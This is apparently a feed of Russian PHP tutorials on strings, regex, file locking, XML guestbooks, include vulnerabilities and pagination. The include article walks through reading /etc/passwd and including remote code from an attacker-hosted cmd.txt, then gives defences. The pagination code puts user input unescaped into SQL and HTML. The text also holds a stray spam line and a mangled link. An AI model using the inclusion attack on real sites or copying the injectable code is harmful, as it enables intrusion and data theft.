Следующая важная и полезная функция –нахождение длинны строки. Синтаксис -strlen(string str);Пример – $a = strlen(“qwerty”);. Впеременной $a будет число 6, так какдлинна строки – 6 символов. Еще однаинтересная возможность языка РНР –перевод текста (а значит – и символьныхстрок) из одной кодировки в другую. Этоочень полезно, если нужно согласоватькодировки, например, сайта и почтовойпрограммы. Причем поддерживаются самыераспространенные русские кодировки: stringconvert_cyr_string(str, from, to);. Аргументы from и toявляются одним символом, которыйопределяет исходную и целевую кодовуютаблицу. Поддерживаемые типы:

k - koi8-r
w - windows-1251
i - iso8859-5
a - x-cp866
d - x-cp866
m - x-mac-cyrillic

Htmlspecialchars - переводит специальныесимволы в коды HTML. Htmlspecialchars( string);Определенные символы имеют особоезначение в HTML и должны быть замененыкодами HTML, если они таковые имеют. Этафункция возвращает строки спроизведенными такими изменениями.Функция полезна для отчисткиполученного от пользователя текста отразметки HTML (доски сообщений, гостевыекниги). Осуществляются следующие замены:

'&' (амперсанд) становится '&amp;'
'"' (двойные кавычки) становится '&quot;'
'<' (знак меньше) становится '&lt;'
'>' (знак больше) становится '&gt;'

Следует отметить, что эта функция незаменяет ничего, кроме указанного выше.Для полной обработки применяют функциюhtmlentities(). Она переводит все возможныесимволы в коды HTML. Htmlentities(string); Этафункция идентична htmlspecialchars() , кроме того,что все символы, которые имеютсоответствующий код HTML, заменяются наэтот HTML код. В настоящее времяприменяется кодовая таблица ISO-8859-1.

Отдельно следует рассмотреть функциипоиска в строке. Strchr - Находит первоепоявление символа. strchr(haystack, needle); Этафункция является псевдонимом дляфункции strstr(), и полностью ей идентична.Возвращает все haystack с первого появлениястроки needle и до конца. Если параметр needleне найден, то возвращается false. Еслипараметр needle не является строкой, то онпереводится в целое число ирассматривается как числовое значениесимвола. Strrpos - Находит позициюпоследнего появления символа в строке.Strrpos(haystack, needle); Возвращает номер позициипоследнего появления символа needle встроке haystack. Следует отметить, что needle вэтом случае может быть толькоединственным символом. Если в качествепараметра needle указывается строка, тотолько первый символ будет использован.Если needle не найден, то возвращается false.Если параметр needle не является строкой,то он переводится в десятичное число ирассматривается как числовое значениесимвола. Strrchr -- Находит последнеепоявление символа в строке.
Strrchr(haystack, needle); Эта функция возвращаетпозицию haystack, с которой начинаетсяпоследнее появление needle и продолжаетсядо конца haystack. Возвращает false если needle ненайдена. Если параметр needle содержитболее чем один символ, то используетсяпервый символ. Если параметр needle неявляется строкой, то он переводится вцелое число и рассматривается какчисловое значение символа.
Пример:

// получение всего после последней новойстроки
$text = "Line 1\nLine 2\nLine 3";
$last = substr( strrchr( $text, 10 ), 1 );

Strtok - разбивает строку. strtok( arg1, arg2);Используется для разбиения строки. Этозначит, что если вы имеете строку типа"Как хорошо программировать", то выможете разбить эту строку на отдельныеслова, используя пробел в качестверазделителя.

$string = " Как хорошо программировать";
$tok = strtok($string," ");
while($tok) { echo "Word=$tok<br>"; $tok = strtok(""); }

Следует отметить, что только первыйвызов функции strtok использует строковыйаргумент. Для каждого последующеговызова функции strtok необходим толькоразделитель, так как это позволяетконтролировать положение в текущейстроке. Для начала заново или дляразбития новой строки вам необходимопросто вызвать strtok с параметром строкиопять для ее инициализации. Вы можетевставлять несколько разделителей впараметр разделителя. Строка будетразделяться при обнаружении любого изуказанных символов. Также будьтевнимательны к разделителям равным"0". Это может вызвать ошибку вопределенных выражениях.

Вот то, что понадобится Вам для работы состроками в первую очередь. Тут приведендалеко не полный перечень всехстроковых функций. Рассмотрены только самые основные.

С хорошей скидкой запчасти ниссан альмера регистрация за пять минут. Сжатые сроки.]]> Sat, 27 Apr 2013 18:59:15 +0300 Регулярные выражения
Регулярные выражения - черезвычайно мощный инструмент работы со строками. С их помощью можно проводить анализ и изменение строк на основе заданного шаблона.

Рассмотрим простые (далеко не все) правила формирования шаблона.

Шаблон состовляется из набора модификаторов, некоторые из которых приведены в нижеследующей таблице.

\ - Следующий символ является специальным. Так же применяется для указания символов, которые могут использоваться в качестве модификаторов. \n - соответствует символу перевода строки
\* - символ "*", а * - модификатор
^ - Маркер начала строки. ^abc - строка, начинающаяся с "abc".
$ - Маркер конца строки. abc$ - строка, заканчивающаяся на "abc".
* - Предыдущий символ встречается 0 или больше раз. Шаблону w* соответствуют строки what, buka, agwt
+ - Предыдущий символ встречается 1 или больше раз. Шаблону w+ соответствуют строки what, agwt.
Строка buka уже не соответствует.
? - Предыдущий символ встречается 0 или 1 раз. Шаблону w?r соответствуют строки ara, awra.
- Соответствует любому символу, отличному от "\n".

Это простейшие модификаторы, знания которых нам пока хватит.

В PHP существует несколько функций для работы с регулярными выражениями: ereg(), ereg_replace(), eregi(), ereg_replacei() и split().

Функции с суффиксом i представляют из себя аналоги функций без этого суффикса, не чувствтительные к регистру операндов.

Рассмотрим функцию ereg(), синтаксис которой:

int ereg(string pattern, string string, array [regs]);

Рассмотрим некоторый адрес maxx@mail.ru. Очевидно, что правдоподобный адрес должен иметь вид "слово@слово.слово". В терминах шаблонов произвольный символ обозначается знаком "." (мы не будем сейчас учитывать тот факт, что в адресах допустимы не все символы). В каждом слове должен быть по крайней мере один символ, таким образом, шаблон слова будет иметь вид ".+". Вспомним теперь, что "." - это модификатор, и для явного указания точки (в качестве символа) нужно писать "\.".

Таким образом шаблон будет иметь вид ".+@.+\..+".

Наша проверка будет иметь следующий вид:

if (ereg(".+@.+\..+", $email)) {
echo "Адрес, вроде, правильный";
}
else {
echo "Введите, батенька, адрес заново";
}]]> Sat, 27 Apr 2013 18:58:49 +0300 Как узнать размер файла на каком-то веб-сервере
Второй способ описан здесь.

Чтобы это сделать, надо открыть сокет (установить соединение с удаленным веб-сервером). Сокет - это файл, в который можно писать и читать. Далее в сокет (как в файл) надо написать заголовок (HEAD filename ...). После считать из сокета то, что нам напишут. Для начала выведите это на экран, чтобы было понятно, что именно вам возвращают. В ответе сервера, что мы считаем, будет много полезной информации - тип и ОС сервера, дата модификации и размер файла, другая информации. Все, что надо - выдрать из текста нужное число и вывести его на экран.

<?

$fname='/path-to-file/big-big-big.mpg';
$fhost='www.super-mega.ru';

$x=0;
$fp = fsockopen($fhost, 80, &$errno, &$errstr, 30) or die("облом");

fputs($fp,"HEAD $fname HTTP/1.0\nHOST: $fhost\n\n");
while(!feof($fp)) $x.=fgets($fp,128);
fclose($fp);

if (ereg("Content-Length: ([0-9]+)",$x,$size)) echo "Размер файла $size[1] байт";
else echo "Определить невозможно";

?>]]> Sat, 27 Apr 2013 18:58:32 +0300 Грамотная работа с файлами: исключительная блокировка файлов
Обычно работа с файлом (небезопасная модель без блокировки файла) представляет собой последовательность действий в виде: открытие файла (получение его дескриптора), работа с содержимым, закрытие файла. И в самом распространенном варианте выглядит так:

<?
$fp = fopen ("path_to_file","a");//ОТКРЫТИЕ
fputs($fp ,"$data\r\n");//РАБОТА С ФАЙЛОМ
fclose ($fp);//ЗАКРЫТИЕ
?>

Здесь мы открыли файл в режиме добавления информации в конец файла, записали в него порцию информации $data и затем закрыли его (Предполагается, что у нас есть права на запись в файл). Это самое простое и самое первое, что нам могло прийти в голову и что мы реализовали. Если вы уверены, что никаких проблем с файлом не возникнет или что у вас не так много посетителей, чтобы что-то сломалось, то это ваше право - можете закрыть статью и жить спокойно! ;) Но нужно что-то делать. Одним из примеров трагедий может служить сайт http://manlix.ru, в котором постоянно "падает" форум и/или счетчик посетителей. Я, конечно, не берусь судить, что только некорректная работа с файлами тому виной, но, по-моему, это очевидно. Пока число посетителей было сравнительно небольшим, все корректно функционировало, как только иногда одновременно стало появляться до 10 пользователей одновременно, начались казусы с счетчиком и форумом. Как же это преодолеть? Оказывается просто, всего лишь добавив несколько строк в операцию работы с файлами:

<?
$fp = fopen ("path_to_file","a");//открытие
flock ($fp,LOCK_EX);//БЛОКИРОВКА ФАЙЛА
fputs($fp ,"$data\r\n");//работа с файлом
fflush ($fp);//ОЧИЩЕНИЕ ФАЙЛОВОГО БУФЕРА И ЗАПИСЬ В ФАЙЛ
flock ($fp,LOCK_UN);//СНЯТИЕ БЛОКИРОВКИ
fclose ($fp);//закрытие
?>

В данном примере мы открыли файл для добавления в него информации Предполагается, что у нас есть права на запись в файл). Затем применили исключительную блокировку и тем самым сделали наш скрипт единственным процессом, который в текущий момент имеет доступ к файлу. Блокировка действительна все время от выполнения функции flock ($fp,LOCK_EX) и до выполнения flock ($fp,LOCK_UN). Между этими функциями находятся операторы, выполнение которых будет "безопасным" для файла. Другие процессы смогут получить доступ к файлу не раньше снятия блокировки. Важным моментом является применение функции fflush ($fp). Транзакции изменения данных могут быть записаны с специальный файловый буфер и сброшены на диск позже, когда блокировка будет уже снята и снова будет опасность сбоя в работе. Поэтому данной функцией мы принудительно записываем изменения на диск, сбрасывая содержимое буфера. Еще одним не менее важным моментом является, само открытие файла! Мы не случайно используем режим "a" ("a+"). Если нам будет необходима запись в начало файла с удалением предыдущего содержимого, то следует воздержаться от применения режима "w" ("w+"), поскольку очищение файла предполагает удаление не только содержимого, но и самого файла с последующим созданием аналогичного. Так как этот процесс будет выполнен до исключительной блокировки, то также существует вероятность сбоя в работе. В данном случае стоит применять следующий прием :

<?
$fp = fopen ("path_to_file","a");//открытие
flock ($fp,LOCK_EX);//блокировка файла
ftruncate ($fp,0);//УДАЛЯЕМ СОДЕРЖИМОЕ ФАЙЛА
fputs($fp ,"$data\r\n");//работа с файлом
fflush ($fp);//очищение файлового буфера и записьв файл
flock ($fp,LOCK_UN);//снятие блокировки
fclose ($fp);//закрытие
?>

Здесь мы открыли файл для записи в него, затем применили исключительную блокировку, и только уж потом применили функцию ftruncate ($fp,0) которая выполнила так необходимую нам очистку файла от содержимого. Вот вроде бы и все, что я хотел вам для начала рассказать! Успехов Вам в нашем нелегком труде! До новых встреч, до новых статей!]]> Sat, 27 Apr 2013 18:58:09 +0300 PHP и XML
Аббревиатура XML расшифровывается и переводится как «расширяемый язык разметки». И в этом вся его суть. В принципе, программист сам определяет формат файла и сам пишет его обработчик, используя для этого предоставляемые языком средства или разрабатывая собственные. Теперь никому не нужны километры исходного кода для обработки сотен текстовых файлов — все это легко заменяется одним XML-файлом и одним парсером (обработчиком).

XML-файл является обыкновенным текстовым файлом, данные которого организованы таким образом, чтобы создать иерархическую структуру (дерево) тэгов. Имена и атрибуты тэгов программист придумывает самостоятельно, а правила их написания аналогичны таковым в HTML. Например, для книжного магазина:

<?xml version="1.0" encoding="UTF-8"?>
<shop>
<book author=”Donald Knuth”>Art of programming</book>
<book author=”Vasily Golovachev”>Magacitly</book>
</shop>

Как видите, даже отвлеченный от программирования человек может понять, о чем идет речь в этом файле. Таким нехитрым способом, применяя древовидную структуру организации данных, разработчики достигают полного отделения содержимого (XML) от дизайна (HTML и прочее), в чем и состоит цель рассматриваемого языка разметки.

Теперь об основных понятиях XML-разметки. Количество тэгов в файле не ограничено, равно как и количество их атрибутов. XML-документ должен быть составлен корректно, в соответствии со следующими правилами, многие из которых перекликаются со спецификацией HTML:

1. <?xml version="1.0"?> — в первой строке всегда содержится версия спецификации, но могут быть и дополнительные атрибуты — например, кодировка символов документа.

2. В документе присутствует один и только один корневой элемент (парный тэг <shop> в нашем случае), подобно <html></html> в языке HTML. Все дочерние элементы могут содержать любое количество вложенных тэгов, которые, в свою очередь, тоже могут содержать любое количество потомков, за счет чего и обеспечивается древовидность.

3. Все без исключения тэги должны иметь соответствующие закрывающие элементы. Если в HTML можно было, например, опустить некоторые закрывающие тэги, и это считалось правильным даже в соответствии со спецификацией, то в XML это недопустимо, так как моментально вызовет ошибку обработки. Правда, если в тэге не планируется создавать никаких вложенных элементов (будь то содержимое или другой тэг), то закрыть его можно несколько проще (например, <song name="Only you" /> вместо <song name="Only you"></song>)

4. Все атрибуты тэгов нужно заключать в кавычки — двойные или одинарные.

5. Все остальные правила, дабы не загромождать статью, читайте в спецификации, которая находится по адресу http://www.w3.org/TR/REC-xml.

PHP и XML

Итак, с XML более-менее разобрались. Во всяком случае, несложный структурированный файл в соответствии с правилами XML-разметки вы создать уже сможете, особенно зная основы HTML. Теперь давайте приступим к реализации функций обработки XML-содержимого на языке PHP.

Думаю, не стоит особо распространяться о пользе PHP как серверного языка программирования. Все возможности Perl плюс «еще кое-что» — и мы имеем полноценный интерпретируемый язык программирования, выполняемый на стороне сервера. В дальнейшем предполагается, что сервер и PHP у вас уже установлены и должным образом настроены на совместную работу, и что вы имеете общие понятия об их функционировании и программировании (начинающим программистам рекомендуем ознакомиться с циклом Артема Шманцырева «Сервер племени апачей», МК №№38-40, 42, 44, 46, 50, 4, 9 (209-211, 213, 215, 217, 221, 227, 232) — примеч. ред.) Многие хостинг-провайдеры — это в основном относится к платным хостингам — предоставляют PHP, в конфигурации которого уже доступны модули обработки XML. Для домашней же платформы могу порекомендовать следующее.

В последние версии PHP (начиная с версии 4.3.0 для платформы Windows, как самой распространенной) включена библиотека php_domxml.dll, которую нужно подключить к интерпретатору для получения доступа к функциям обработки XML (подобная библиотека есть и в Linux, но там она подключается несколько иначе). Эта библиотека находится в каталоге extension_dir, прописанном в конфигурационном файле php.ini, который в свою очередь лежит (или должен лежать) в вашей папке Windows. В этом же файле раскомментируйте строчку extension=php_domxml.dll, и вы получите возможность оперировать документами XML, применяя объектную модель Document Object Model, на которой мы сегодня подробно остановимся. Кстати, рассматривать возможности PHP по работе с XML-файлами мы будем на простейшем примере — мы напишем собственную гостевую книгу. Пример, конечно, идеализирован, но на серверах со скриптами я пока еще не встречал гостевых книг, написанных с применением XML. Поэтому, надеюсь, сегодняшние примеры будут для вас не только интересными, но и полезными.

Для гостевой книги мы на сервере создадим файл с именем guest.xml, который будет содержать все оставленные записи в следующем формате:

<?xml version="1.0" encoding="UTF-8"?>
<guestbook>
<message date="01.01.04" time="11:22:25" author="Cosmic" email=“cosmic@mail.zp.ua” subject="New GB presented">
Message body. No HTML tags here.
</message>
<message date="01.01.04" time="12:22:25" author="Cosmic" email=“cosmic@mail.zp.ua” subject="This is a subject">
Another message body
</message>
<message date="01.01.04" time="10:22:25" author="Cosmic" email=“cosmic@mail.zp.ua” subject="i?ia?aiia">
Message body. Attention! Subject in UTF-8 encoding!
</message>
</guestbook>

Как следует из первой строчки, наш XML-файл будет хранить данные в кодировке UTF-8. Для чего это нужно, вы узнаете чуть позже. Корневой элемент <guestbook> содержит множество дочерних элементов <message>, которые характеризуются атрибутами date (дата), time (время), author (автор), email (почтовый адрес) и subject (тема). В теле элемента <message> находится собственно тело сообщения. Как видите, все интуитивно понятно и немножко похоже на базу данных, в которой поля мы называем так, как сами того хотим.

Перед тем как приступить к написанию самого скрипта, хочу сказать, что в PHP функции работы с XML пока реализованы экспериментально (правда, в версии 5.0 на XML сделана особая ставка, вот только версия эта пока еще находится в состоянии беты, следовательно, переходить на нее пока еще не стоит). Это значит, что приведенные скрипты могут не работать при наличии других версий PHP, не соответствующих указанной. К тому же мои скрипты далеки от совершенства в плане производительности и красоты написания. Поэтому не нужно заваливать мой бедный почтовый ящик гневными письмами. Мое дело, как автора, — натолкнуть вас на мысль, а реализация этой мысли остается исключительно за вами.

PHP поддерживает два модуля, осуществляющие XML-парсинг. Первый называется SAX (Simple API for XML). В силу сложности и ограниченной функциональности (с помощью SAX невозможно записать данные в XML-файл — он поддерживает только чтение), этот интерфейс нами сегодня рассматриваться не будет. Второй модуль представляет гораздо больший интерес с точки зрения разработчика, так как позволяет более наглядно работать с XML-файлом, причем поддерживаются операции и чтения, и записи. Называется он DOM (Document Object Module) и реализуется в PHP следующим образом.

С помощью функции domxml_open_file, вызываемой с именем XML-файла в качестве параметра (в нашем случае — guest.xml), все дерево XML-элементов из файла загружается в память компьютера-сервера (в переменную). Это значит, что никакие изменения, произведенные с открытым файлом, не вступят в силу до его принудительной записи на диск. Эта технология очень удобна, так как позволяет десять раз перепроверить корректность произведенных над файлом действий перед тем как окончательно его сохранить. Вообще, корректности в формате XML уделено огромное внимание, что не может не сказаться на его реализациях в языках программирования.

В XML-файле, как уже было сказано, может существовать только один корневой элемент. Корневой элемент можно получить, используя функцию document_element(), вызываемую без параметров и возвращающую объект. В полученном объекте хранятся все дочерние элементы (тэги <message>), которые мы можем получить, вызвав функцию child_nodes(), возвращающую массив дочерних тэгов. Теперь, пройдясь по полученному массиву циклом foreach, можно получить атрибуты каждого из дочерних элементов (функция get_attribute(), вызываемая с именем атрибута в качестве параметра) и содержимое этих элементов (функция get_content() без параметров). Каждый элемент, дочерний для корневого, может быть корневым для вложенных элементов, если таковые имеются. В таком случае их можно также получить во вложенном цикле foreach, пройдясь им по элементу верхнего уровня.

Для нашей гостевой книги скрипт чтения сообщений будет выглядеть следующим образом:

// открытие XML-файла
$xml = domxml_open_file('guest.xml');

// получение корневого элемента
$root = $xml->document_element();
// получение массива вложенных тэгов (потомков)
$nodes = $root->child_nodes();

foreach($nodes as $node) {
// если имя потомка соответствует необходимому...
if ($node->node_name() == 'message') {
// ...заполняем именованный массив текущего сообщения данными из файла...
$currentMessage['date'] = $node->get_attribute('date');
$currentMessage['time'] = $node->get_attribute('time');
$currentMessage['author'] = $node->get_attribute('author');
$currentMessage['email'] = $node->get_attribute('email');
$currentMessage['subject'] = $node->get_attribute('subject');
$currentMessage['content'] = $node->get_content();
// ... и добавляем заполненный элемент в массив
$messages[] = $currentMessage;
}
}

После выполнения скрипта мы получаем заполненный массив $messages, пройдясь по которому в цикле foreach, мы запросто получаем сообщения и выводим их в тело страницы:

foreach($messages as $item) {
echo $item['date'];
echo $item['time'];
echo utf8_decode($item['author']);
echo $item['email'];
echo utf8_decode($item['subject']);
echo utf8_decode($item['content']);
}

В результате выполнения скрипта на страничку в одну строчку выведутся все сообщения из гостевой книги. Я намеренно не делаю никакого оформления (например, можно было бы вывести все сообщения в таблице, разделив все поля и сделав сообщение удобочитаемым), так как статья в этом случае растянется на десяток номеров. Еще раз повторю, что моя задача — натолкнуть вас на идею. Все остальное — дело вашего личного вкуса и предпочтений. Рабочий вариант гостевой вы можете посмотреть по адресу http://www.cosmic.net.ua/gb.

Как я уже говорил, модель DOM позволяет не только читать данные из XML-файла, но и записывать их, добавляя новые элементы или атрибуты. Для того чтобы записать данные, нужно снова открыть XML-файл с помощью функции domxml_open_file и получить корневой элемент дерева (функция document_element()). Далее, с помощью функции new_child() в конце множества имеющихся дочерних тэгов создаем новый дочерний элемент. Функция принимает два параметра — название элемента и собственно его содержимое. Атрибуты дочернего тэга <message> устанавливаются при помощи функции set_attribute(), в качестве параметров принимающей название атрибута и его значение.

Так как мы записываем сообщения гостевой книги, мы их должны сначала получить из массива $_GET или $_POST, в который они должны быть переданы из формы (если вы не знаете, как это делается, можете прочесть об этом в моих предыдущих статьях). Из полученных данных мы готовим именованный массив атрибутов, которые в будущем будут записаны в тэг <message>:

$msgToAdd = array(
'date' => date("d.m.y"),
'time' => date("H:i:s"),
'author' => utf8_encode($author),
'email' => $email,
'subject' => utf8_encode($subject)
)

Как видите, перед записью переменных $author и $subject (а в будущем и тела сообщения), мы перекодируем их в кодировку UTF-8. Это делается по той причине, что на данном этапе PHP, к сожалению, не поддерживает кодировку Windows-1251 в XML-файлах. Это значит, что при попытке записать сообщение на русском языке скрипт будет выдавать ошибку. Поэтому приходится кодировать символы в промежуточную кодировку (функция utf8_encode), а потом при чтении их декодировать (функция utf8_decode). Весь скрипт записи нового сообщения примет примерно следующий вид:

$xml = domxml_open_file('guest.xml');
$root = $xml->document_element();

// $message — тело сообщения из массива $_GET или $_POST
$msgNode = $root->new_child('message',utf8_encode($message));

$msgNode->set_attribute('date',$msgToAdd['date']);
$msgNode->set_attribute('time',$msgToAdd['time']);
$msgNode->set_attribute('author',$msgToAdd['author']);
$msgNode->set_attribute('email',$msgToAdd['email']);
$msgNode->set_attribute('subject',$msgToAdd['subject']);

$text = $xml->dump_mem();
$fp = fopen('guest.xml','w');
fwrite($fp,$text);
fclose($fp);

Здесь появляется новая функция dump_mem(), скидывающая все содержимое памяти в переменную $text, которая в дальнейшем записывается на диск стандартными операторами записи. Как видите, все элементарно просто, безопасно и корректно — пока вы не убедитесь, что все операторы выполнены корректно, ваш файл не будет записан и, следовательно, увеличивается надежность хранения данных и уменьшается вероятность их потери.

В заключение поговорим о возможных областях применения рассмотренных технологий. XML, несмотря на свою универсальность, все же не является панацеей, поэтому не стоит сразу все бросать и переходить на использование нового формата, не убедившись в его стопроцентной необходимости. XML может выручить, например, если заранее неизвестно, каким клиентом будут обрабатываться данные (будь то интернет-браузер или совершенно самостоятельный клиент, написанный сторонними разработчиками). Очень удобно делать развязку между данными и оформлением, строя шаблоны своих страниц на выборках из XML-файлов. Еще удобнее делать сайты на нескольких языках, используя встроенные средства XML для организации мультиязычного интерфейса.

Так что как всегда выбор остается за вами, уважаемые читатели.

Удачи!]]> Sat, 27 Apr 2013 18:57:48 +0300 PHP include уязвимость: от теории к практике
Внимание!!! Вся информация представленная в данной статье служит чисто в ознакомительных целях! Автор не несёт никакой ответственности за её злонамеренное применение!

Теория

Уязвимость php - include одна из самых известных, но между тем и самых распространённых "дыр" встречающихся сегодня в php сценариях. Она возникает, когда по невнимательности, незнанию, либо по какой-то другой ведомой только ему одному причине, программист позволяет использовать данные, переданные сценарию в виде параметров, без дополнительной проверки (такие данные ещё называют "мечеными") в качестве параметра функцией include. Для того, чтобы лучше разобраться в принципе действия данной уязвимости, необходимо иметь некоторое представление о вышеназванной функции.

php функция include, а также include_once

Данная функция используется для подключения к запущенному php сценарию дополнительных программных модулей. Причём, в отличие от похожей по свойствам require, функция include исполняет эти модули непосредственно в своём процессе. А следовательно, прикрепляемые таким образом модули будут исполняться не как отдельные сценарии, а как части подключившего их к себе сценария. Точнее, include будет исполнять только ту часть файла, которая заключена между спец. тэгами:

"<?php" или "<?"
"?>"

Всё остальное php просто выдаёт в виде текста. Т.е. если подключить текстовый файл (например: /etc/passwd :) ) не содержащий указанных тэгов, всё содержимое этого файла будет выдано интерпретатором.

Пример вызова:
include($file);

Как вы наверное заметили, функция include имеет всего 1 параметр ($file), который указывает путь и имя файла подключаемого модуля. Стоит отметить также, что в юниксоподобных системах (в зависимости от настроек php) в качестве параметра можно передавать не только путь и имя файла, но и url (Интернет адрес) файла(!!!).

Практика

Предположим, на некотором ВЕБ-сервере установлен следующий php сценарий (его url http://www.superpupersite.com/index.php):

<?php
include($http_get_vars["file"]);
?>

А также множество различных подключаемых сценариев-модулей для него:

home.php
feedback.php
...

Автор этого сценария предполагал, что все посетители сайта будут мирно переходить от одной страницы к другой нажимая кнопочки, ссылочки и прочие объекты управления. А сценарий, в зависимости от переданного параметра file, будет присоединять один или другой модуль, таким образом генерируя различные html страницы (чаще всего include используют именно таким образом).

Примеры запросов:

http://www.superpupersite.com/index.php?file=home.php
http://www.superpupersite.com/index.php?file=feedback.php

Он даже представить себе не мог, что однажды (в студёную зимнюю пору) на сайт забредёт некий любознательный Вася Пупкин. Который, исходя из своей любознательности рассматривая эти самые ссылки, предположил бы (пока он ещё не знает, как и что там на самом деле), что параметр file является не чем иным, как имя и путь к файлу и что сценарий использует функцию include (не удивительно, т.к. на сегодня include используется чуть ли не в каждом 3-ем скрипте). Вася тут же решил проверить своё предположение следующим образом:

Сделал запрос вида: http://www.superpupersite.com/index.php?file=/etc/passwd
На выходе получил содержимое файла passwd сервера
П.С: Если на сервере в опциях php включен режим отладки, выявить подобную уязвимость не составляет особого труда по характерным сообщениям о ошибках (Вроде: "failed opening 'filename' for inclusion..."! Но в данном случае режим отладки был отключён (не всё коту масленица).

"Здорово! Вполне возможно что моё предположение по поводу include верно!"-подумал Вася. А также Вася заметил, что сервер работает под управлением юниксподобной операционной системы (там присутствует файл /etc/passwd). Из этого всего он сделал вывод, что возможно удастся внедрить свой php модуль, чтобы последний выполнялся на стороне сервера. Теперь, для осуществления своих зловещих планов, В.Пупкину необходим доступ позволяющий добавлять и редактировать файлы на каком-нибудь ВЕБ-сервере. К счастью, на сегодняшний день получить медленный, бесплатный хостинг не составляет особых проблем и у нашего героя уже был припасён на такие неожиданные :) случаи жизни свой сайт http://pupkin.halava123.ru. Куда он предусмотрительно закачал сценарий следующего содержания:

<? passthru("ls -al"); ?>

Незатейливый, надо сказать, скрипт, выводящий в окно браузера список файлов и каталогов в текущей директории (но для проверки наличия уязвимости его хватит :) ). Сценарий был размещён по адресу:

http://pupkin.halava123.ru/cmd.txt

Вася выполнил следующий запрос:

http://www.superpupersite.com/index.php?file=http://pupkin.halava123.ru/cmd.txt

И у него получилось! Как и задумывалось, в окне браузера он увидел список файлов и каталогов. Далее по нарастающей, "дыра" была обнаружена, и в ход пошли не менее интересные сценарии, подробное описание которых заняло бы немало места и по этим соображениям не публикуется здесь :) В общем, долго ли, коротко ли, но закончилось всё дефейсом (дефейс - подмена начальной страницы на свою). Вот такая грустная история!

Борьба с вредителем

Прочитав всё вышеописанное, многие из вас задаются вопросом : "существуют ли методы борьбы с этой ужастной уязвимостью? ". "Да" - гордо отвечау я :) . Вот некоторые (отнюдь не все) из них:

Самый простой способ, с точки зрения программирования, это преобразовать переменную $module в числовой формат (settype($module,”integer”)), но при этом придётся пронумеровать модули, а также собрать их в один каталог (“module1.php”, ”module2.php” …”module<n>.php” ).

Более сложный с точки зрения реализации метод борьбы с вредителями :) - это создание отдельного файла-списка модулей, которые возможно запустить. И в зависимости, находится ли тот или иной модуль в списке, выполнять либо выдавать соответствующую ошибку (или запускать модуль по умолчанию или если Вы, хотите напугать «экспериментатора» выдать сообщение о том, что его адрес зафиксирован и чтоб он сушил сухари...).
Пример:

switch ($case) // $case - имя переменной передаваемой в параметре к скрипту
{
case news:
include("news.php");
break;

case articles:
include("guestbook.php");
break;

... // и т.д.
default:
include("index.php"); // если в переменной $case не будет передано значение, которое учтено выше, то открывается главная страница
break;
}

Третий метод является промежуточным- что-то среднее между 1-ым и 2-ым. Вам просто надо заменить все служебные символы ("..","/","") например, на прочерки. Правда, модули (там должны располагаться только выполняемые модули и ничего кроме них!!!) в этом случае должны располагаться в одном каталоге, но их названия могут быть нормальными словами (например “news”, ”guestbook” и т.д.).
Заключение

Вот в общем-то и всё, что я хотел рассказать вам в этот раз. Вывод из этого всего может быть такой: прежде чем используете данные полученные от пользователя в ваших web сценариях подумайте, а не надо ли их предварительно проверить и надлежащим образом обработать. Это касается не только полей данных формы передаваемых браузером (методы get и post), но и cookie (злоумышленник может добраться и до них).]]> Sat, 27 Apr 2013 18:57:24 +0300 Как разбивать запрос на страницы (постраничный вывод данных)?
Создадим файл default.phtml, который содержит базовые фукнции. Вам надо подправить параметры (host/user/pass/base)

<?

// Глобальная переменная. Например, нужна в функции коннекта.
$sock=false;


// новые функции
function sql($a) { return mysql_query($a); }
function sqlrows($a) { return @mysql_num_rows($a); }
function sqlval($a,$b,$c) { return @mysql_result(mysql_query($a),$b,$c); }
function sqlget($a) { return @mysql_fetch_array($a); }
function sqlline($a) { return sqlget(sql($a)); }
function sqllast() { return mysql_insert_id(); }


// коннект к серверу
function connect() {
global $sock;

$host="*****";
$user="*****";
$base="*****";
$pass="*****";

$sock=@mysql_connect($host,$user,$pass);
if ( ! $sock || ! @mysql_select_db($base,$sock))
die("Сервер временно не работает");

unset($host);
unset($user);
unset($base);
unset($pass);

}

// замена die()
function xdie($zapros="", $info="") {
die("</table></table></table></table><hr><h3>************ $info ***********<br><br>
sql error..... n".mysql_errno().": ".mysql_error()."</h3><pre>$zapros</pre><hr>");
}


?>

данный файл (create.phtml) создаст таблицу limit_test и забьет в нее 500 строк
вида из разных строк.

<?

include("./default.phtml");

connect();

// удаляем таблицу (на всякий случай)
sql("drop table limit_test");
// создаем
if (!sql("create table limit_test (id int, s char(100))"))
xdie("","Таблица не создана");

srand(time());

// создаем запрос вида << ... values (x,"xx"), (y,"yy"), ... (z,"zz") >>
$s="insert into limit_test values ";

for ($i=0; $i<500; $i++) {

$s.="($i,"";
$x=rand(1,100);
for ($j=0; $j<$x; $j++) $s.=chr(rand(ord('a'),ord('z')));
$s.="")";
if ($i+1<500) $s.=",";

}

// выполняем запрос, чтобы наполнить таблицу данными
if (!sql($s)) xdie($s,"Таблица не заполнена");

?>

Собственно, сам файл (search.phtml), который выводит на экран форму для поиска и
выводит найденные результаты по ?? штук на страницу.

<body bgcolor=black text=white link=#9999cc vlink=#cc9999><font face=arial>
<?

include("./default.phtml");

if (!isset($z)) $z="";
if (isset($all)) $all=intval($all);
if (isset($start)) $start=intval($start);
if (isset($len)) $len=intval($len);
else $len=10;

echo "<form action="http://phpclub.chat.ru/mysql/%24php_self" method=get>
<input type=hidden name=z value=search>
Что ищем:
<input type=text name=s value='$s'>
Строк:
<input type=text name=len value='$len' size=5>
&nbsp; <input type=submit value=' search '><br><br>
Спец. символы:
<font color=#ff6666><b><big>_</big></b></font> - заменяет 1 любую букву,
<font color=#ff6666><b><big>%</big></b></font> - заменяет любую последовательность букв.
Поиск '<b>%</b>' - найдет все строки, поиск '<b>_</b>' - только строки,
состоящие из 1 символа. Если поискать 'a', то, скорее всего, ничего
не будет найдено, однако строки '%a%' точно найдутся.<br>
</form>";

switch ($z) {

case "search":

connect();

$query="select s from limit_test where s like '$s'";

if (!isset($start)) {

if (!( $res=sql($query) )) xdie($query,"ошибка");
$start=0;
$all=sqlrows($res);

} else {

$query.=" limit $start,$len";
if (!( $res=sql($query) )) xdie($query,"ошибка");

}

echo "Запрос: <font color=#00ff00>$query</font><br><br>";

for ($j=1; $j<=$len && $tmp=sqlget($res); $j++) {
echo ($start+$j).". $tmp<br>";
$stop--;
}

echo "<br>";
for ($i=1; $i<=floor($all/$len); $i++)
echo "<a href=http://shelek.com/"../../tppmsgs/msgs0.htm#123" tppabs="http://phpclub.chat.ru/mysql/%24php_self?z=search&all=$all&len=$len&"."
"start=".(($i-1)*$len)."&s=".urlencode($s).">$i</a> ";

break;
}


